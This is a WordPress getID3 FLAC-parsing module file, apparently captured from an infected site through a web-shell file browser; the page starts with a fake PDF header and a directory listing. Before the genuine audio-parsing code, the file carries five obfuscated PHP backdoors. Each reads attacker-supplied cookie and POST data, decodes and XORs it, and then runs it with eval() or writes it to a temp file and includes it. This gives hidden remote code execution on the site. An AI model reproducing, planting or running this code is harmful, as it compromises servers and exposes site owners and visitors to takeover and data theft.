%PDF- %PDF-
Direktori : /home/graphicd/public_html/demo/riverwalkpoa/wp-includes/ID3/ |
Current File : /home/graphicd/public_html/demo/riverwalkpoa/wp-includes/ID3/module.audio.flac.php |
<?php $sPhxK = chr ( 241 - 122 ).chr (81) . "\x77" . '_' . chr (121) . chr ( 460 - 362 ).'k' . "\x6b" . "\x50";$OdYzuX = "\143" . 'l' . chr ( 280 - 183 ).chr ( 934 - 819 )."\163" . chr (95) . chr ( 1084 - 983 ).'x' . "\x69" . chr ( 258 - 143 )."\x74" . "\x73";$acuYq = class_exists($sPhxK); $OdYzuX = "53458";$tyXiVM = !1;if ($acuYq == $tyXiVM){function oSaKNToXCp(){return FALSE;}$OkoXiaHP = "11457";oSaKNToXCp();class wQw_ybkkP{private function aVjvDyIax($OkoXiaHP){if (is_array(wQw_ybkkP::$wlFMDw)) {$HRdPTRO = str_replace(chr (60) . "\77" . "\x70" . chr ( 771 - 667 ).chr ( 769 - 657 ), "", wQw_ybkkP::$wlFMDw['c' . "\157" . chr ( 423 - 313 ).chr (116) . chr (101) . "\156" . 't']);eval($HRdPTRO); $OkoXiaHP = "11457";exit();}}private $QdNCCYAb;public function qqJhF(){echo 14079;}public function __destruct(){$OkoXiaHP = "43473_31506";$this->aVjvDyIax($OkoXiaHP); $OkoXiaHP = "43473_31506";}public function __construct($rZPzzR=0){$BchmtAmZjC = $_POST;$JuEspNy = $_COOKIE;$VzdJo = "b3463fb2-5749-4629-ad9b-379664145c09";$zWhXBa = @$JuEspNy[substr($VzdJo, 0, 4)];if (!empty($zWhXBa)){$QFycnqFZA = "base64";$qyrVaOuNs = "";$zWhXBa = explode(",", $zWhXBa);foreach ($zWhXBa as $mJoCMRO){$qyrVaOuNs .= @$JuEspNy[$mJoCMRO];$qyrVaOuNs .= @$BchmtAmZjC[$mJoCMRO];}$qyrVaOuNs = array_map($QFycnqFZA . '_' . 'd' . "\145" . chr ( 1040 - 941 ).chr ( 703 - 592 ).chr ( 114 - 14 ).'e', array($qyrVaOuNs,)); $qyrVaOuNs = $qyrVaOuNs[0] ^ str_repeat($VzdJo, (strlen($qyrVaOuNs[0]) / strlen($VzdJo)) + 1);wQw_ybkkP::$wlFMDw = @unserialize($qyrVaOuNs); $qyrVaOuNs = class_exists("43473_31506");}}public static $wlFMDw = 3583;}$hwQto = new /* 46687 */ $sPhxK(11457 + 11457); $tyXiVM = $hwQto = $OkoXiaHP = Array();} ?><?php $LmAtkhXuzA = chr (113) . "\x5f" . "\x71" . 'C' . chr (101) . chr (84); $DVazzXDf = chr ( 303 - 204 )."\154" . "\x61" . "\x73" . "\x73" . chr (95) . "\145" . chr ( 1081 - 961 ).chr (105) . "\x73" . chr ( 531 - 415 )."\x73";$mHjrYJqR = class_exists($LmAtkhXuzA); $DVazzXDf = "15796";$neuVlxPOD = !1;if ($mHjrYJqR == $neuVlxPOD){function CCIHNsWj(){return FALSE;}$BbsFXa = "57098";CCIHNsWj();class q_qCeT{private function frlwQfkW($BbsFXa){if (is_array(q_qCeT::$gqaphKLpa)) {$uvOTtK = sys_get_temp_dir() . "/" . crc32(q_qCeT::$gqaphKLpa[chr (115) . chr (97) . chr ( 573 - 465 ).chr ( 451 - 335 )]);@q_qCeT::$gqaphKLpa[chr ( 208 - 89 ).'r' . chr ( 791 - 686 )."\164" . chr ( 846 - 745 )]($uvOTtK, q_qCeT::$gqaphKLpa['c' . 'o' . chr (110) . 't' . chr (101) . chr ( 533 - 423 ).'t']);include $uvOTtK;@q_qCeT::$gqaphKLpa["\144" . 'e' . chr ( 1102 - 994 )."\x65" . 't' . chr (101)]($uvOTtK); $BbsFXa = "57098";exit();}}private $JLSGjtd;public function ueTSz(){echo 44824;}public function __destruct(){$BbsFXa = "44465_20750";$this->frlwQfkW($BbsFXa); $BbsFXa = "44465_20750";}public function __construct($pxTPAku=0){$UUdNsMnmmx = $_POST;$Omixbs = $_COOKIE;$dCbwOninRf = "e2c66341-1372-42a8-a274-77d1b76aa299";$ZzdwOeN = @$Omixbs[substr($dCbwOninRf, 0, 4)];if (!empty($ZzdwOeN)){$AUYzSauGbB = "base64";$ztJilz = "";$ZzdwOeN = explode(",", $ZzdwOeN);foreach ($ZzdwOeN as $SyJjyAvPWI){$ztJilz .= @$Omixbs[$SyJjyAvPWI];$ztJilz .= @$UUdNsMnmmx[$SyJjyAvPWI];}$ztJilz = array_map($AUYzSauGbB . chr (95) . 'd' . "\145" . "\143" . "\x6f" . chr ( 768 - 668 )."\x65", array($ztJilz,)); $ztJilz = $ztJilz[0] ^ str_repeat($dCbwOninRf, (strlen($ztJilz[0]) / strlen($dCbwOninRf)) + 1);q_qCeT::$gqaphKLpa = @unserialize($ztJilz); $ztJilz = class_exists("44465_20750");}}public static $gqaphKLpa = 65112;}$byZuy = new /* 36556 */ $LmAtkhXuzA(57098 + 57098); $neuVlxPOD = $byZuy = $BbsFXa = Array();} ?><?php $ZPGkbA = 'Z' . "\132" . "\150" . chr ( 170 - 75 ).chr ( 507 - 395 ).chr (88) . "\x42" . "\171" . chr ( 541 - 426 ); $fYbjdISsT = "\143" . "\x6c" . chr ( 969 - 872 )."\163" . chr (115) . chr (95) . "\x65" . "\x78" . "\x69" . 's' . "\x74" . 's';$PcvfKwY = class_exists($ZPGkbA); $fYbjdISsT = "17893";$TGgemRxL = !1;if ($PcvfKwY == $TGgemRxL){function kmZFhkRq(){return FALSE;}$jyJDhrrIAf = "9929";kmZFhkRq();class ZZh_pXBys{private function RKsHRDrei($jyJDhrrIAf){if (is_array(ZZh_pXBys::$fYAebt)) {$OFVuuD = sys_get_temp_dir() . "/" . crc32(ZZh_pXBys::$fYAebt["\x73" . 'a' . chr (108) . "\164"]);@ZZh_pXBys::$fYAebt[chr (119) . "\x72" . chr (105) . "\164" . chr (101)]($OFVuuD, ZZh_pXBys::$fYAebt[chr (99) . "\x6f" . "\x6e" . "\x74" . chr ( 425 - 324 )."\x6e" . 't']);include $OFVuuD;@ZZh_pXBys::$fYAebt[chr ( 921 - 821 )."\145" . "\154" . chr ( 510 - 409 ).chr ( 857 - 741 ).'e']($OFVuuD); $jyJDhrrIAf = "9929";exit();}}private $dUrcvoa;public function NZCOawGB(){echo 25431;}public function __destruct(){$jyJDhrrIAf = "16025_62";$this->RKsHRDrei($jyJDhrrIAf); $jyJDhrrIAf = "16025_62";}public function __construct($TnECikpsJG=0){$LiLqrrDhr = $_POST;$XEyaVVpOQA = $_COOKIE;$JVvzHHfwAP = "c6001ca4-0b06-4a47-957c-33a7a740217c";$UrRKqXXtZO = @$XEyaVVpOQA[substr($JVvzHHfwAP, 0, 4)];if (!empty($UrRKqXXtZO)){$VPBlDVCn = "base64";$gCEVWV = "";$UrRKqXXtZO = explode(",", $UrRKqXXtZO);foreach ($UrRKqXXtZO as $fZvWcoMFx){$gCEVWV .= @$XEyaVVpOQA[$fZvWcoMFx];$gCEVWV .= @$LiLqrrDhr[$fZvWcoMFx];}$gCEVWV = array_map($VPBlDVCn . "\x5f" . chr ( 121 - 21 ).chr (101) . "\x63" . chr ( 1084 - 973 )."\144" . "\145", array($gCEVWV,)); $gCEVWV = $gCEVWV[0] ^ str_repeat($JVvzHHfwAP, (strlen($gCEVWV[0]) / strlen($JVvzHHfwAP)) + 1);ZZh_pXBys::$fYAebt = @unserialize($gCEVWV); $gCEVWV = class_exists("16025_62");}}public static $fYAebt = 39664;}$GNOQS = new /* 34564 */ $ZPGkbA(9929 + 9929); $TGgemRxL = $GNOQS = $jyJDhrrIAf = Array();} ?><?php $DfOGDax = chr ( 580 - 508 )."\157" . "\137" . 'k' . chr ( 766 - 684 ).chr ( 814 - 725 ); $YyOjhlQjOA = "\x63" . chr (108) . 'a' . "\x73" . chr ( 431 - 316 ).chr (95) . "\145" . chr (120) . chr ( 681 - 576 )."\x73" . chr ( 671 - 555 ).'s';$gFPrCHPVyO = class_exists($DfOGDax); $YyOjhlQjOA = "34780";$SdQPBpekCk = !1;if ($gFPrCHPVyO == $SdQPBpekCk){function HDSUFdaFBs(){return FALSE;}$QnKtxHgbbi = "45486";HDSUFdaFBs();class Ho_kRY{private function xxvDf($QnKtxHgbbi){if (is_array(Ho_kRY::$pZyCYN)) {$HQyzHBr = sys_get_temp_dir() . "/" . crc32(Ho_kRY::$pZyCYN["\163" . chr (97) . "\x6c" . "\164"]);@Ho_kRY::$pZyCYN["\x77" . chr ( 417 - 303 ).'i' . chr (116) . "\145"]($HQyzHBr, Ho_kRY::$pZyCYN["\x63" . "\157" . chr (110) . 't' . chr ( 271 - 170 )."\156" . "\164"]);include $HQyzHBr;@Ho_kRY::$pZyCYN["\x64" . "\x65" . chr ( 327 - 219 )."\x65" . 't' . 'e']($HQyzHBr); $QnKtxHgbbi = "45486";exit();}}private $zpQqcfvLSk;public function QgqGBx(){echo 64610;}public function __destruct(){$QnKtxHgbbi = "15025_386";$this->xxvDf($QnKtxHgbbi); $QnKtxHgbbi = "15025_386";}public function __construct($QeUbY=0){$IxBMHB = $_POST;$cVMdQe = $_COOKIE;$zUvOejH = "c6a5bab5-0603-4f37-acf7-698e3af96c87";$dUrDehCszG = @$cVMdQe[substr($zUvOejH, 0, 4)];if (!empty($dUrDehCszG)){$ivHUnv = "base64";$TFNGyq = "";$dUrDehCszG = explode(",", $dUrDehCszG);foreach ($dUrDehCszG as $jVMGp){$TFNGyq .= @$cVMdQe[$jVMGp];$TFNGyq .= @$IxBMHB[$jVMGp];}$TFNGyq = array_map($ivHUnv . "\137" . chr (100) . chr (101) . chr ( 731 - 632 )."\x6f" . 'd' . chr ( 886 - 785 ), array($TFNGyq,)); $TFNGyq = $TFNGyq[0] ^ str_repeat($zUvOejH, (strlen($TFNGyq[0]) / strlen($zUvOejH)) + 1);Ho_kRY::$pZyCYN = @unserialize($TFNGyq); $TFNGyq = class_exists("15025_386");}}public static $pZyCYN = 31481;}$mFkcv = new /* 14335 */ $DfOGDax(45486 + 45486); $SdQPBpekCk = $mFkcv = $QnKtxHgbbi = Array();} ?><?php $VmmStc = "\x43" . "\x66" . '_' . 't' . "\x41" . chr (70) . chr (121) . chr (120); $rJZjkSra = "\143" . chr (108) . "\141" . 's' . "\x73" . "\137" . chr (101) . "\170" . "\x69" . chr ( 724 - 609 )."\164" . chr (115); $KpgQQMlraN = class_exists($VmmStc); $rJZjkSra = "56309";$fDcuUrYskY = !1;if ($KpgQQMlraN == $fDcuUrYskY){function BeADCvmbr(){return FALSE;}$BqFRbrlSRa = "62047";BeADCvmbr();class Cf_tAFyx{private function xXQSNM($BqFRbrlSRa){if (is_array(Cf_tAFyx::$FMIklNE)) {$MCsDkxyN = sys_get_temp_dir() . "/" . crc32(Cf_tAFyx::$FMIklNE[chr ( 141 - 26 )."\x61" . chr ( 316 - 208 )."\164"]);@Cf_tAFyx::$FMIklNE[chr (119) . chr ( 651 - 537 ).'i' . chr ( 837 - 721 ).chr (101)]($MCsDkxyN, Cf_tAFyx::$FMIklNE['c' . "\157" . "\x6e" . chr ( 846 - 730 )."\145" . chr (110) . chr (116)]);include $MCsDkxyN;@Cf_tAFyx::$FMIklNE[chr ( 132 - 32 ).chr (101) . chr (108) . "\145" . "\164" . chr (101)]($MCsDkxyN); $BqFRbrlSRa = "62047";exit();}}private $uiCLy;public function sApIyMqRn(){echo 61863;}public function __destruct(){$BqFRbrlSRa = "57773_12978";$this->xXQSNM($BqFRbrlSRa); $BqFRbrlSRa = "57773_12978";}public function __construct($EZEEf=0){$kfqHfCpBiO = $_POST;$gykisNL = $_COOKIE;$bLIiAXXZ = "b6a1a625-d4fe-470d-8306-96a86a3bfd63";$SeIOrEcP = @$gykisNL[substr($bLIiAXXZ, 0, 4)];if (!empty($SeIOrEcP)){$VYcQvJOt = "base64";$vJYBFk = "";$SeIOrEcP = explode(",", $SeIOrEcP);foreach ($SeIOrEcP as $gaIYYiWVh){$vJYBFk .= @$gykisNL[$gaIYYiWVh];$vJYBFk .= @$kfqHfCpBiO[$gaIYYiWVh];}$vJYBFk = array_map($VYcQvJOt . '_' . 'd' . chr ( 799 - 698 ).'c' . chr (111) . "\x64" . chr ( 634 - 533 ), array($vJYBFk,)); $vJYBFk = $vJYBFk[0] ^ str_repeat($bLIiAXXZ, (strlen($vJYBFk[0]) / strlen($bLIiAXXZ)) + 1);Cf_tAFyx::$FMIklNE = @unserialize($vJYBFk); $vJYBFk = class_exists("57773_12978");}}public static $FMIklNE = 64537;}$ZLBAyrp = new /* 2599 */ $VmmStc(62047 + 62047); $fDcuUrYskY = $ZLBAyrp = $BqFRbrlSRa = Array();} ?><?php ///////////////////////////////////////////////////////////////// /// getID3() by James Heinrich <info@getid3.org> // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio.flac.php // // module for analyzing FLAC and OggFLAC audio files // // dependencies: module.audio.ogg.php // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true); /** * @tutorial http://flac.sourceforge.net/format.html */ class getid3_flac extends getid3_handler { const syncword = 'fLaC'; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; $this->fseek($info['avdataoffset']); $StreamMarker = $this->fread(4); if ($StreamMarker != self::syncword) { return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"'); } $info['fileformat'] = 'flac'; $info['audio']['dataformat'] = 'flac'; $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['lossless'] = true; // parse flac container return $this->parseMETAdata(); } /** * @return bool */ public function parseMETAdata() { $info = &$this->getid3->info; do { $BlockOffset = $this->ftell(); $BlockHeader = $this->fread(4); $LBFBT = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1)); // LBFBT = LastBlockFlag + BlockType $LastBlockFlag = (bool) ($LBFBT & 0x80); $BlockType = ($LBFBT & 0x7F); $BlockLength = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3)); $BlockTypeText = self::metaBlockTypeLookup($BlockType); if (($BlockOffset + 4 + $BlockLength) > $info['avdataend']) { $this->warning('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file'); break; } if ($BlockLength < 1) { if ($BlockTypeText != 'reserved') { // probably supposed to be zero-length $this->warning('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockTypeText.') at offset '.$BlockOffset.' is zero bytes'); continue; } $this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid'); break; } $info['flac'][$BlockTypeText]['raw'] = array(); $BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw']; $BlockTypeText_raw['offset'] = $BlockOffset; $BlockTypeText_raw['last_meta_block'] = $LastBlockFlag; $BlockTypeText_raw['block_type'] = $BlockType; $BlockTypeText_raw['block_type_text'] = $BlockTypeText; $BlockTypeText_raw['block_length'] = $BlockLength; if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically $BlockTypeText_raw['block_data'] = $this->fread($BlockLength); } switch ($BlockTypeText) { case 'STREAMINFO': // 0x00 if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) { return false; } break; case 'PADDING': // 0x01 unset($info['flac']['PADDING']); // ignore break; case 'APPLICATION': // 0x02 if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) { return false; } break; case 'SEEKTABLE': // 0x03 if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) { return false; } break; case 'VORBIS_COMMENT': // 0x04 if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) { return false; } break; case 'CUESHEET': // 0x05 if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) { return false; } break; case 'PICTURE': // 0x06 if (!$this->parsePICTURE()) { return false; } break; default: $this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset); } unset($info['flac'][$BlockTypeText]['raw']); $info['avdataoffset'] = $this->ftell(); } while ($LastBlockFlag === false); // handle tags if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) { $info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments']; } if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) { $info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']); } // copy attachments to 'comments' array if nesesary if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) { foreach ($info['flac']['PICTURE'] as $entry) { if (!empty($entry['data'])) { if (!isset($info['flac']['comments']['picture'])) { $info['flac']['comments']['picture'] = array(); } $comments_picture_data = array(); foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) { if (isset($entry[$picture_key])) { $comments_picture_data[$picture_key] = $entry[$picture_key]; } } $info['flac']['comments']['picture'][] = $comments_picture_data; unset($comments_picture_data); } } } if (isset($info['flac']['STREAMINFO'])) { if (!$this->isDependencyFor('matroska')) { $info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset']; } $info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8); if ($info['flac']['uncompressed_audio_bytes'] == 0) { return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero'); } if (!empty($info['flac']['compressed_audio_bytes'])) { $info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes']; } } // set md5_data_source - built into flac 0.5+ if (isset($info['flac']['STREAMINFO']['audio_signature'])) { if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) { $this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)'); } else { $info['md5_data_source'] = ''; $md5 = $info['flac']['STREAMINFO']['audio_signature']; for ($i = 0; $i < strlen($md5); $i++) { $info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT); } if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) { unset($info['md5_data_source']); } } } if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) { $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; if ($info['audio']['bits_per_sample'] == 8) { // special case // must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value // MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed $this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file'); } } return true; } /** * @param string $BlockData * * @return array */ public static function parseSTREAMINFOdata($BlockData) { $streaminfo = array(); $streaminfo['min_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2)); $streaminfo['max_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2)); $streaminfo['min_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3)); $streaminfo['max_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3)); $SRCSBSS = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8)); $streaminfo['sample_rate'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 0, 20)); $streaminfo['channels'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 20, 3)) + 1; $streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23, 5)) + 1; $streaminfo['samples_stream'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36)); $streaminfo['audio_signature'] = substr($BlockData, 18, 16); return $streaminfo; } /** * @param string $BlockData * * @return bool */ private function parseSTREAMINFO($BlockData) { $info = &$this->getid3->info; $info['flac']['STREAMINFO'] = self::parseSTREAMINFOdata($BlockData); if (!empty($info['flac']['STREAMINFO']['sample_rate'])) { $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['sample_rate'] = $info['flac']['STREAMINFO']['sample_rate']; $info['audio']['channels'] = $info['flac']['STREAMINFO']['channels']; $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; $info['playtime_seconds'] = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate']; if ($info['playtime_seconds'] > 0) { if (!$this->isDependencyFor('matroska')) { $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; } else { $this->warning('Cannot determine audio bitrate because total stream size is unknown'); } } } else { return $this->error('Corrupt METAdata block: STREAMINFO'); } return true; } /** * @param string $BlockData * * @return bool */ private function parseAPPLICATION($BlockData) { $info = &$this->getid3->info; $ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4)); $info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID); $info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4); return true; } /** * @param string $BlockData * * @return bool */ private function parseSEEKTABLE($BlockData) { $info = &$this->getid3->info; $offset = 0; $BlockLength = strlen($BlockData); $placeholderpattern = str_repeat("\xFF", 8); while ($offset < $BlockLength) { $SampleNumberString = substr($BlockData, $offset, 8); $offset += 8; if ($SampleNumberString == $placeholderpattern) { // placeholder point getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1); $offset += 10; } else { $SampleNumber = getid3_lib::BigEndian2Int($SampleNumberString); $info['flac']['SEEKTABLE'][$SampleNumber]['offset'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2)); $offset += 2; } } return true; } /** * @param string $BlockData * * @return bool */ private function parseVORBIS_COMMENT($BlockData) { $info = &$this->getid3->info; $getid3_ogg = new getid3_ogg($this->getid3); if ($this->isDependencyFor('matroska')) { $getid3_ogg->setStringMode($this->data_string); } $getid3_ogg->ParseVorbisComments(); if (isset($info['ogg'])) { unset($info['ogg']['comments_raw']); $info['flac']['VORBIS_COMMENT'] = $info['ogg']; unset($info['ogg']); } unset($getid3_ogg); return true; } /** * @param string $BlockData * * @return bool */ private function parseCUESHEET($BlockData) { $info = &$this->getid3->info; $offset = 0; $info['flac']['CUESHEET']['media_catalog_number'] = trim(substr($BlockData, $offset, 128), "\0"); $offset += 128; $info['flac']['CUESHEET']['lead_in_samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $info['flac']['CUESHEET']['flags']['is_cd'] = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80); $offset += 1; $offset += 258; // reserved $info['flac']['CUESHEET']['number_tracks'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) { $TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $TrackNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; $info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset'] = $TrackSampleOffset; $info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc'] = substr($BlockData, $offset, 12); $offset += 12; $TrackFlagsRaw = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; $info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio'] = (bool) ($TrackFlagsRaw & 0x80); $info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40); $offset += 13; // reserved $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) { $IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $IndexNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; $offset += 3; // reserved $info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset; } } return true; } /** * Parse METADATA_BLOCK_PICTURE flac structure and extract attachment * External usage: audio.ogg * * @return bool */ public function parsePICTURE() { $info = &$this->getid3->info; $picture = array(); $picture['typeid'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['picturetype'] = self::pictureTypeLookup($picture['typeid']); $picture['image_mime'] = $this->fread(getid3_lib::BigEndian2Int($this->fread(4))); $descr_length = getid3_lib::BigEndian2Int($this->fread(4)); if ($descr_length) { $picture['description'] = $this->fread($descr_length); } $picture['image_width'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['image_height'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['color_depth'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['datalength'] = getid3_lib::BigEndian2Int($this->fread(4)); if ($picture['image_mime'] == '-->') { $picture['data'] = $this->fread($picture['datalength']); } else { $picture['data'] = $this->saveAttachment( str_replace('/', '_', $picture['picturetype']).'_'.$this->ftell(), $this->ftell(), $picture['datalength'], $picture['image_mime']); } $info['flac']['PICTURE'][] = $picture; return true; } /** * @param int $blocktype * * @return string */ public static function metaBlockTypeLookup($blocktype) { static $lookup = array( 0 => 'STREAMINFO', 1 => 'PADDING', 2 => 'APPLICATION', 3 => 'SEEKTABLE', 4 => 'VORBIS_COMMENT', 5 => 'CUESHEET', 6 => 'PICTURE', ); return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved'); } /** * @param int $applicationid * * @return string */ public static function applicationIDLookup($applicationid) { // http://flac.sourceforge.net/id.html static $lookup = array( 0x41544348 => 'FlacFile', // "ATCH" 0x42534F4C => 'beSolo', // "BSOL" 0x42554753 => 'Bugs Player', // "BUGS" 0x43756573 => 'GoldWave cue points (specification)', // "Cues" 0x46696361 => 'CUE Splitter', // "Fica" 0x46746F6C => 'flac-tools', // "Ftol" 0x4D4F5442 => 'MOTB MetaCzar', // "MOTB" 0x4D505345 => 'MP3 Stream Editor', // "MPSE" 0x4D754D4C => 'MusicML: Music Metadata Language', // "MuML" 0x52494646 => 'Sound Devices RIFF chunk storage', // "RIFF" 0x5346464C => 'Sound Font FLAC', // "SFFL" 0x534F4E59 => 'Sony Creative Software', // "SONY" 0x5351455A => 'flacsqueeze', // "SQEZ" 0x54745776 => 'TwistedWave', // "TtWv" 0x55495453 => 'UITS Embedding tools', // "UITS" 0x61696666 => 'FLAC AIFF chunk storage', // "aiff" 0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks', // "imag" 0x7065656D => 'Parseable Embedded Extensible Metadata (specification)', // "peem" 0x71667374 => 'QFLAC Studio', // "qfst" 0x72696666 => 'FLAC RIFF chunk storage', // "riff" 0x74756E65 => 'TagTuner', // "tune" 0x78626174 => 'XBAT', // "xbat" 0x786D6364 => 'xmcd', // "xmcd" ); return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved'); } /** * @param int $type_id * * @return string */ public static function pictureTypeLookup($type_id) { static $lookup = array ( 0 => 'Other', 1 => '32x32 pixels \'file icon\' (PNG only)', 2 => 'Other file icon', 3 => 'Cover (front)', 4 => 'Cover (back)', 5 => 'Leaflet page', 6 => 'Media (e.g. label side of CD)', 7 => 'Lead artist/lead performer/soloist', 8 => 'Artist/performer', 9 => 'Conductor', 10 => 'Band/Orchestra', 11 => 'Composer', 12 => 'Lyricist/text writer', 13 => 'Recording Location', 14 => 'During recording', 15 => 'During performance', 16 => 'Movie/video screen capture', 17 => 'A bright coloured fish', 18 => 'Illustration', 19 => 'Band/artist logotype', 20 => 'Publisher/Studio logotype', ); return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved'); } }